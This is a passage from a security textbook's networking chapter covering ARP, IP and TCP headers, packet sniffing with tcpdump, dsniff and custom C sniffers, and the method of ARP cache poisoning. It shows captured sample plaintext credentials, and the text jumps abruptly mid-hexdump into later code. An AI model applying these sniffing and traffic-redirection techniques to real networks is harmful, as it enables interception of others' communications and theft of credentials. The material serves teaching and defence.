The lowest visible layer is the data-link layer. Returning to the receptionist and bureaucracy analogy, if the physical layer below is thought of as interoffice mail carts and the network layer above as a worldwide postal system, the data-link layer is the system of interoffice mail. This layer provides a way to address and send messages to anyone else in the office, as well as to figure out who’s in the office. Ethernet exists on this layer, providing a standard addressing system for all Ethernet devices. These addresses are known as Media Access Control (MAC) addresses. Every Ethernet device is assigned a globally unique address consisting of six bytes, usually written in hexadecimal in the form xx:xx:xx:xx:xx:xx. These addresses are also sometimes referred to as hardware addresses, since each address is unique to a piece of hardware and is stored in the device’s integrated circuit memory. MAC addresses can be thought of as Social Security numbers for hardware, since each piece of hardware is supposed to have a unique MAC address. An Ethernet header is 14 bytes in size and contains the source and destination MAC addresses for this Ethernet packet. Ethernet addressing also provides a special broadcast address, consisting of all binary 1’s (ff:ff:ff:ff:ff:ff). Any Ethernet packet sent to this address will be sent to all the connected devices. The MAC address of a network device isn’t meant to change, but its IP address may change regularly. The concept of IP addresses doesn’t exist at this level, only hardware addresses do, so a method is needed to correlate

218

0x 400

the two addressing schemes. In the office, post office mail sent to an employee at the office’s address goes to the appropriate desk. In Ethernet, the method is known as Address Resolution Protocol (ARP). This protocol allows “seating charts” to be made to associate an IP address with a piece of hardware. There are four different types of ARP messages, but the two most important types are ARP request messages and ARP reply messages. Any packet’s Ethernet header includes a type value that describes the packet. This type is used to specify whether the packet is an ARP-type message or an IP packet. An ARP request is a message, sent to the broadcast address, that contains the sender’s IP address and MAC address and basically says, “Hey, who has this IP? If it’s you, please respond and tell me your MAC address.” An ARP reply is the corresponding response that is sent to the requester’s MAC address (and IP address) saying, “This is my MAC address, and I have this IP address.” Most implementations will temporarily cache the MAC/IP address pairs received in ARP replies, so that ARP requests and replies aren’t needed for every single packet. These caches are like the interoffice seating chart. For example, if one system has the IP address 10.10.10.20 and MAC address 00:00:00:aa:aa:aa, and another system on the same network has the IP address 10.10.10.50 and MAC address 00:00:00:bb:bb:bb, neither system can communicate with the other until they know each other’s MAC addresses.
ARP request Source MAC: 00:00:00:aa:aa:aa Dest MAC: ff:ff:ff:ff:ff:ff “Who has 10.10.10.50?” First system IP: 10.10.10.20 MAC: 00:00:00:aa:aa:aa ARP reply Source MAC: 00:00:00:bb:bb:bb Dest MAC: 00:00:00:aa:aa:aa “10.10.10.50 is at 00:00:00:bb:bb:bb.” Second system IP: 10.10.10.50 MAC: 00:00:00:bb:bb:bb

If the first system wants to establish a TCP connection over IP to the second device’s IP address of 10.10.10.50, the first system will first check its ARP cache to see if an entry exists for 10.10.10.50. Since this is the first time these two systems are trying to communicate, there will be no such entry, and an ARP request will be sent out to the broadcast address, saying, “If you are 10.10.10.50, please respond to me at 00:00:00:aa:aa:aa.” Since this request uses the broadcast address, every system on the network sees the request, but only the system with the corresponding IP address is meant to respond. In this case, the second system responds with an ARP reply that is sent directly back to 00:00:00:aa:aa:aa saying, “I am 10.10.10.50 and I’m at 00:00:00:bb:bb:bb.” The first system receives this reply, caches the IP and MAC address pair in its ARP cache, and uses the hardware address to communicate.
N et wor kin g

219

0x432 Network Layer
The network layer is like a worldwide postal service providing an addressing and delivery method used to send things everywhere. The protocol used at this layer for Internet addressing and delivery is, appropriately, called Internet Protocol (IP); the majority of the Internet uses IP version 4. Every system on the Internet has an IP address, consisting of a familiar four-byte arrangement in the form of xx.xx.xx.xx. The IP header for packets in this layer is 20 bytes in size and consists of various fields and bitflags as defined in RFC 791. From RFC 791
[Page 10] September 1981 Internet Protocol 3. 3.1. Internet Header Format SPECIFICATION

A summary of the contents of the internet header follows: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Example Internet Datagram Header Figure 4. Note that each tick mark represents one bit position.

This surprisingly descriptive ASCII diagram shows these fields and their positions in the header. Standard protocols have awesome documentation. Similar to the Ethernet header, the IP header also has a protocol field to describe the type of data in the packet and the source and destination addresses for routing. In addition, the header carries a checksum, to help detect transmission errors, and fields to deal with packet fragmentation. The Internet Protocol is mostly used to transmit packets wrapped in higher layers. However, Internet Control Message Protocol (ICMP) packets
220
0x 400

also exist on this layer. ICMP packets are used for messaging and diagnostics. IP is less reliable than the post office—there’s no guarantee that an IP packet will actually reach its final destination. If there’s a problem, an ICMP packet is sent back to notify the sender of the problem. ICMP is also commonly used to test for connectivity. ICMP Echo Request and Echo Reply messages are used by a utility called ping. If one host wants to test whether it can route traffic to another host, it pings the remote host by sending an ICMP Echo Request. Upon receipt of the ICMP Echo Request, the remote host sends back an ICMP Echo Reply. These messages can be used to determine the connection latency between the two hosts. However, it is important to remember that ICMP and IP are both connectionless; all this protocol layer really cares about is getting the packet to its destination address. Sometimes a network link will have a limitation on packet size, disallowing the transfer of large packets. IP can deal with this situation by fragmenting packets, as shown here.
Large IP packet Header Data Data continued More data

Packet fragments Header Data

Header

Data continued

Header

More data

The packet is broken up into smaller packet fragments that can pass through the network link, IP headers are put on each fragment, and they’re sent off. Each fragment has a different fragment offset value, which is stored in the header. When the destination receives these fragments, the offset values are used to reassemble the original IP packet. Provisions such as fragmentation aid in the delivery of IP packets, but this does nothing to maintain connections or ensure delivery. This is the job of the protocols at the transport layer.

0x433 Transport Layer
The transport layer can be thought of as the first line of office receptionists, picking up the mail from the network layer. If a customer wants to return a defective piece of merchandise, they send a message requesting a Return Material Authorization (RMA) number. Then the receptionist would follow the return protocol by asking for a receipt and eventually issuing an RMA number so the customer can mail the product in. The post office is only concerned with sending these messages (and packages) back and forth, not with what’s in them.
221

N et wor kin g

The two major protocols at this layer are the Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP is the most commonly used protocol for services on the Internet: telnet, HTTP (web traffic), SMTP (email traffic), and FTP (file transfers) all use TCP. One of the reasons for TCP’s popularity is that it provides a transparent, yet reliable and bidirectional, connection between two IP addresses. Stream sockets use TCP/IP connections. A bidirectional connection with TCP is similar to using a telephone—after dialing a number, a connection is made through which both parties can communicate. Reliability simply means that TCP will ensure that all the data will reach its destination in the proper order. If the packets of a connection get jumbled up and arrive out of order, TCP will make sure they’re put back in order before handing the data up to the next layer. If some packets in the middle of a connection are lost, the destination will hold on to the packets it has while the source retransmits the missing packets. All of this functionality is made possible by a set of flags, called TCP flags, and by tracking values called sequence numbers. The TCP flags are as follows:
TCP flag URG ACK PSH RST SYN FIN Meaning Urgent Acknowledgment Push Reset Synchronize Finish Purpose Identifies important data Acknowledges a packet; it is turned on for the majority of the connection Tells the receiver to push the data through instead of buffering it Resets a connection Synchronizes sequence numbers at the beginning of a connection Gracefully closes a connection when both sides say goodbye

These flags are stored in the TCP header along with the source and destination ports. The TCP header is specified in RFC 793. From RFC 793
[Page 14] September 1981 Transmission Control Protocol 3. 3.1. Header Format FUNCTIONAL SPECIFICATION

TCP segments are sent as internet datagrams. The Internet Protocol header carries several information fields, including the source and destination host addresses [2]. A TCP header follows the internet header, supplying information specific to the TCP protocol. This division allows for the existence of host level protocols other than TCP. TCP Header Format

222

0x 400

0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ TCP Header Format Note that one tick mark represents one bit position. Figure 3.

The sequence number and acknowledgment number are used to maintain state. The SYN and ACK flags are used together to open connections in a three-step handshaking process. When a client wants to open a connection with a server, a packet with the SYN flag on, but the ACK flag off, is sent to the server. The server then responds with a packet that has both the SYN and ACK flags turned on. To complete the connection, the client sends back a packet with the SYN flag off but the ACK flag on. After that, every packet in the connection will have the ACK flag turned on and the SYN flag turned off. Only the first two packets of the connection have the SYN flag on, since those packets are used to synchronize sequence numbers.
SYN packet SYN on ACK off seq # = 324808530 ack # = 0

Client

SYN/ACK packet SYN on ACK on seq # = 288666267 ack # = 324808531

Server

ACK packet SYN off ACK on seq # = 324808531 ack # = 288666268

N et wor kin g

223

Sequence numbers allow TCP to put unordered packets back into order, to determine whether packets are missing, and to prevent mixing up packets from other connections. When a connection is initiated, each side generates an initial sequence number. This number is communicated to the other side in the first two SYN packets of the connection handshake. Then, with each packet that is sent, the sequence number is incremented by the number of bytes found in the data portion of the packet. This sequence number is included in the TCP packet header. In addition, each TCP header has an acknowledgment number, which is simply the other side’s sequence number plus one. TCP is great for applications where reliability and bidirectional communication are needed. However, the cost of this functionality is paid in communication overhead. UDP has much less overhead and built-in functionality than TCP. This lack of functionality makes it behave much like the IP protocol: It is connectionless and unreliable. Without built-in functionality to create connections and maintain reliability, UDP is an alternative that expects the application to deal with these issues. Sometimes connections aren’t needed, and the lightweight UDP is a much better protocol for these situations. The UDP header, defined in RFC 768, is relatively tiny. It only contains four 16-bit values in this order: source port, destination port, length, and checksum.

0x440

Network Sniffing
On the data-link layer lies the distinction between switched and unswitched networks. On an unswitched network, Ethernet packets pass through every device on the network, expecting each system device to only look at the packets sent to its destination address. However, it’s fairly trivial to set a device to promiscuous mode, which causes it to look at all packets, regardless of the destination address. Most packet-capturing programs, such as tcpdump, drop the device they are listening to into promiscuous mode by default. Promiscuous mode can be set using ifconfig, as seen in the following output. reader@hacking:~/booksrc $ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:17115 errors:0 dropped:0 overruns:0 frame:0 TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:4602913 (4.3 MiB) TX bytes:434449 (424.2 KiB) Interrupt:16 Base address:0x2024 reader@hacking:~/booksrc $ sudo ifconfig eth0 promisc reader@hacking:~/booksrc $ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:17181 errors:0 dropped:0 overruns:0 frame:0 TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:4668475 (4.4 MiB) TX bytes:434449 (424.2 KiB)

224

0x 400

Interrupt:16 Base address:0x2024 reader@hacking:~/booksrc $

The act of capturing packets that aren’t necessarily meant for public viewing is called sniffing. Sniffing packets in promiscuous mode on an unswitched network can turn up all sorts of useful information, as the following output shows. reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118' tcpdump: listening on eth0 21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win 17316 (DF) 0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v 0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^... 0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x 0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft. 0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99. 0x0050 3133 13 21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840 (DF) [tos 0x10] 0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V 0x0030 0007 1f78 ...x 21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win 5840 (DF) [tos 0x10] 0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z 0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech.. 21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13 win 17304 (DF) 0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v 0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^... 0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,.......... 0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password 0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le 0x0050 6563 ec 21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840 (DF) [tos 0x10] 0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[ 0x0030 0007 1fc5 .... 21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76 win 5840 (DF) [tos 0x10] 0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................ 0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite 0x0040 0d0a .. 21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27 win 17290 (DF) 0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v 0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...
N et wor kin g

225

0x0020 0x0030 0x0040

8018 438a 4c8c 0000 0101 080a 0007 1feb 000e 10d1 3233 3020 5573 6572 206c 6565 6368 206c 6f67 6765 6420 696e 2e0d 0a

..C.L........... ....230.User.lee ch.logged.in...

Data transmitted over the network by services such as telnet, FTP, and POP3 is unencrypted. In the preceding example, the user leech is seen logging into an FTP server using the password l8@nite. Since the authentication process during login is also unencrypted, usernames and passwords are simply contained in the data portions of the transmitted packets. tcpdump is a wonderful, general-purpose packet sniffer, but there are specialized sniffing tools designed specifically to search for usernames and passwords. One notable example is Dug Song’s program, dsniff, which is smart enough to parse out data that looks important. reader@hacking:~/booksrc $ sudo dsniff -n dsniff: listening on eth0 ----------------12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp) USER leech PASS l8@nite ----------------12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet) USER root PASS 5eCr3t

0x441 Raw Socket Sniffer
So far in our code examples, we have been using stream sockets. When sending and receiving using stream sockets, the data is neatly wrapped in a TCP/IP connection. Accessing the OSI model of the session (5) layer, the operating system takes care of all of the lower-level details of transmission, correction, and routing. It is possible to access the network at lower layers using raw sockets. At this lower layer, all the details are exposed and must be handled explicitly by the programmer. Raw sockets are specified by using SOCK_RAW as the type. In this case, the protocol matters since there are multiple options. The protocol can be IPPROTO_TCP, IPPROTO_UDP, or IPPROTO_ICMP. The following example is a TCP sniffing program using raw sockets. raw_tcpsniff.c
#include #include #include #include #include #include

#include "hacking.h" int main(void) { int i, recv_length, sockfd;

226

0x 400

u_char buffer[9000]; if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) fatal("in socket"); for(i=0; i < 3; i++) { recv_length = recv(sockfd, buffer, 8000, 0); printf("Got a %d byte packet\n", recv_length); dump(buffer, recv_length); } }

This program opens a raw TCP socket and listens for three packets, printing the raw data of each one with the dump() function. Notice that buffer is declared as a u_char variable. This is just a convenience type definition from sys/socket.h that expands to “unsigned char.” This is for convenience, since unsigned variables are used a lot in network programming and typing unsigned every time is a pain. When compiled, the program needs to be run as root, because the use of raw sockets requires root access. The following output shows the program sniffing the network while we’re sending sample text to our simple_server. reader@hacking:~/booksrc $ gcc -o raw_tcpsniff raw_tcpsniff.c reader@hacking:~/booksrc $ ./raw_tcpsniff [!!] Fatal Error in socket: Operation not permitted reader@hacking:~/booksrc $ sudo ./raw_tcpsniff Got a 68 byte packet 45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l. 80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&... 02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te 73 74 0d 0a | st.. Got a 70 byte packet 45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l. 80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u 02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .len);

decode_ethernet(packet); decode_ip(packet+ETHER_HDR_LEN); tcp_header_length = decode_tcp(packet+ETHER_HDR_LEN+sizeof(struct ip_hdr)); total_header_size = ETHER_HDR_LEN+sizeof(struct ip_hdr)+tcp_header_length; pkt_data = (u_char *)packet + total_header_size; // pkt_data points to the data portion. pkt_data_len = cap_header->len - total_header_size; if(pkt_data_len > 0) { printf("\t\t\t%u bytes of packet data\n", pkt_data_len); dump(pkt_data, pkt_data_len); } else printf("\t\t\tNo Packet Data\n"); } void pcap_fatal(const char *failed_in, const char *errbuf) { printf("Fatal Error in %s: %s\n", failed_in, errbuf); exit(1); }

236

0x 400

The caught_packet() function gets called whenever pcap_loop() captures a packet. This function uses the header lengths to split the packet up by layers and the decoding functions to print out details of each layer’s header. void decode_ethernet(const u_char *header_start) { int i; const struct ether_hdr *ethernet_header; ethernet_header = (const struct ether_hdr *)header_start; printf("[[ Layer 2 :: Ethernet Header ]]\n"); printf("[ Source: %02x", ethernet_header->ether_src_addr[0]); for(i=1; i < ETHER_ADDR_LEN; i++) printf(":%02x", ethernet_header->ether_src_addr[i]); printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]); for(i=1; i < ETHER_ADDR_LEN; i++) printf(":%02x", ethernet_header->ether_dest_addr[i]); printf("\tType: %hu ]\n", ethernet_header->ether_type); } void decode_ip(const u_char *header_start) { const struct ip_hdr *ip_header; ip_header = (const struct ip_hdr *)header_start; printf("\t(( Layer 3 ::: IP Header ))\n"); printf("\t( Source: %s\t", inet_ntoa(ip_header->ip_src_addr)); printf("Dest: %s )\n", inet_ntoa(ip_header->ip_dest_addr)); printf("\t( Type: %u\t", (u_int) ip_header->ip_type); printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id), ntohs(ip_header->ip_len)); } u_int decode_tcp(const u_char *header_start) { u_int header_size; const struct tcp_hdr *tcp_header; tcp_header = (const struct tcp_hdr *)header_start; header_size = 4 * tcp_header->tcp_offset; printf("\t\t{{ Layer 4 :::: TCP Header }}\n"); printf("\t\t{ Src Port: %hu\t", ntohs(tcp_header->tcp_src_port)); printf("Dest Port: %hu }\n", ntohs(tcp_header->tcp_dest_port)); printf("\t\t{ Seq #: %u\t", ntohl(tcp_header->tcp_seq)); printf("Ack #: %u }\n", ntohl(tcp_header->tcp_ack)); printf("\t\t{ Header Size: %u\tFlags: ", header_size); if(tcp_header->tcp_flags & TCP_FIN) printf("FIN "); if(tcp_header->tcp_flags & TCP_SYN) printf("SYN "); if(tcp_header->tcp_flags & TCP_RST) printf("RST "); if(tcp_header->tcp_flags & TCP_PUSH) printf("PUSH "); if(tcp_header->tcp_flags & TCP_ACK) printf("ACK ");
N et wor kin g

237

if(tcp_header->tcp_flags & TCP_URG) printf("URG "); printf(" }\n"); return header_size; }

The decoding functions are passed a pointer to the start of the header, which is typecast to the appropriate structure. This allows accessing various fields of the header, but it’s important to remember these values will be in network byte order. This data is straight from the wire, so the byte order needs to be converted for use on an x86 processor. reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap reader@hacking:~/booksrc $ sudo ./decode_sniff Sniffing on device eth0 ==== Got a 75 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.42.1 Dest: 192.168.42.249 ) ( Type: 6 ID: 7755 Length: 61 ) {{ Layer 4 :::: TCP Header }} { Src Port: 35602 Dest Port: 7890 } { Seq #: 2887045274 Ack #: 3843058889 } { Header Size: 32 Flags: PUSH ACK } 9 bytes of packet data 74 65 73 74 69 6e 67 0d 0a | testing.. ==== Got a 66 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.42.249 Dest: 192.168.42.1 ) ( Type: 6 ID: 15678 Length: 52 ) {{ Layer 4 :::: TCP Header }} { Src Port: 7890 Dest Port: 35602 } { Seq #: 3843058889 Ack #: 2887045283 } { Header Size: 32 Flags: ACK } No Packet Data ==== Got a 82 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.42.1 Dest: 192.168.42.249 ) ( Type: 6 ID: 7756 Length: 68 ) {{ Layer 4 :::: TCP Header }} { Src Port: 35602 Dest Port: 7890 } { Seq #: 2887045283 Ack #: 3843058889 } { Header Size: 32 Flags: PUSH ACK } 16 bytes of packet data 74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test.. reader@hacking:~/booksrc $

238

0x 400

With the headers decoded and separated into layers, the TCP/IP connection is much easier to understand. Notice which IP addresses are associated with which MAC address. Also, notice how the sequence number in the two packets from 192.168.42.1 (the first and last packet) increases by nine, since the first packet contained nine bytes of actual data: 2887045283 – 2887045274 = 9. This is used by the TCP protocol to make sure all of the data arrives in order, since packets could be delayed for various reasons. Despite all of the mechanisms built into the packet headers, the packets are still visible to anyone on the same network segment. Protocols such as FTP, POP3, and telnet transmit data without encryption. Even without the assistance of a tool like dsniff, it’s fairly trivial for an attacker sniffing the network to find the usernames and passwords in these packets and use them to compromise other systems. From a security perspective, this isn’t too good, so more intelligent switches provide switched network environments.

0x444 Active Sniffing
In a switched network environment, packets are only sent to the port they are destined for, according to their destination MAC addresses. This requires more intelligent hardware that can create and maintain a table associating MAC addresses with certain ports, depending on which device is connected to each port, as illustrated here. The advantage of a switched environment is that devices are only sent packets that are meant for them, so that promiscuous devices aren’t able to sniff any additional packets. But even in a switched environment, there are clever ways to sniff other devices’ packets; they just tend to be a bit more complex. In order to find hacks like these, the details of the protocols must be examined and then combined. One important aspect of network communications that can be manipulated for interesting effects is the source address. There’s no provision in these protocols to ensure that the source address in a packet really is the address of the source machine. The act of forging a source address in a packet is known as spoofing. The addition of spoofing to your bag of tricks greatly increases the number of possible hacks, since most systems expect the source address to be valid.
Port 1 00:00:00:AA:AA:AA Port 2 00:00:00:BB:BB:BB Port 3 00:00:00:CC:CC:CC Switch 1 2 3

00:00:00:AA:AA:AA

00:00:00:BB:BB:BB

00:00:00:CC:CC:CC

N et wor kin g

239

Spoofing is the first step in sniffing packets on a switched network. The other two interesting details are found in ARP. First, when an ARP reply comes in with an IP address that already exists in the ARP cache, the receiving system will overwrite the prior MAC address information with the new information found in the reply (unless that entry in the ARP cache was explicitly marked as permanent). Second, no state information about the ARP traffic is kept, since this would require additional memory and would complicate a protocol that is meant to be simple. This means systems will accept an ARP reply even if they didn’t send out an ARP request. These three details, when exploited properly, allow an attacker to sniff network traffic on a switched network using a technique known as ARP redirection. The attacker sends spoofed ARP replies to certain devices that cause the ARP cache entries to be overwritten with the attacker’s data. This technique is called ARP cache poisoning. In order to sniff network traffic between two points, A and B, the attacker needs to poison the ARP cache of A to cause A to believe that B’s IP address is at the attacker’s MAC address, and also poison the ARP cache of B to cause B to believe that A’s IP address is also at the attacker’s MAC address. Then the attacker’s machine simply needs to forward these packets to their appropriate final destinations. After that, all of the traffic between A and B still gets delivered, but it all flows through the attacker’s machine, as shown here.
System A IP: 192.168.0.100 MAC: 00:00:00:AA:AA:AA
Internal ARP cache 192.168.0.200 at 00:00:00:FA:CA:DE

System B IP: 192.168.0.200 MAC: 00:00:00:BB:BB:BB
Internal ARP cache 192.168.0.100 at 00:00:00:FA:CA:DE

Attacker system IP: 192.168.0.137 MAC: 00:00:00:FA:CA:DE
Internal ARP cache 192.168.0.100 at 00:00:00:AA:AA:AA 192.168.0.22 at 00:00:00:BB:BB:BB

Traffic to A Traffic to B

Since A and B are wrapping their own Ethernet headers on their packets based on their respective ARP caches, A’s IP traffic meant for B is actually sent to the attacker’s MAC address, and vice versa. The switch only filters traffic based on MAC address, so the switch will work as it’s designed to, sending A’s and B’s IP traffic, destined for the attacker’s MAC address, to the attacker’s port. Then the attacker rewraps the IP packets with the proper Ethernet headers and sends them back to the switch, where they are finally routed to their proper destination. The switch works properly; it’s the victim machines that are tricked into redirecting their traffic through the attacker’s machine.

240

0x 400

Due to timeout values, the victim machines will periodically send out real ARP requests and receive real ARP replies in response. In order to maintain the redirection attack, the attacker must keep the victim machine’s ARP caches poisoned. A simple way to accomplish this is to send spoofed ARP replies to both A and B at a constant interval—for example, every 10 seconds. A gateway is a system that routes all the traffic from a local network out to the Internet. ARP redirection is particularly interesting when one of the victim machines is the default gateway, since the traffic between the default gateway and another system is that system’s Internet traffic. For example, if a machine at 192.168.0.118 is communicating with the gateway at 192.168.0.1 over a switch, the traffic will be restricted by MAC address. This means that this traffic cannot normally be sniffed, even in promiscuous mode. In order to sniff this traffic, it must be redirected. To redirect the traffic, first the MAC addresses of 192.168.0.118 and 192.168.0.1 need to be determined. This can be done by pinging these hosts, since any IP connection attempt will use ARP. If you run a sniffer, you can see the ARP communications, but the OS will cache the resulting IP/MAC address associations. reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1 PING 192.168.0.1 (192.168.0.1): 56 octets data 64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms --- 192.168.0.1 ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118 PING 192.168.0.118 (192.168.0.118): 56 octets data 64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms --- 192.168.0.118 ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:~/booksrc $ arp -na ? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0 ? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0 reader@hacking:~/booksrc $ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1 RX packets:4153 errors:0 dropped:0 overruns:0 frame:0 TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb) Interrupt:9 Base address:0xc000 reader@hacking:~/booksrc $

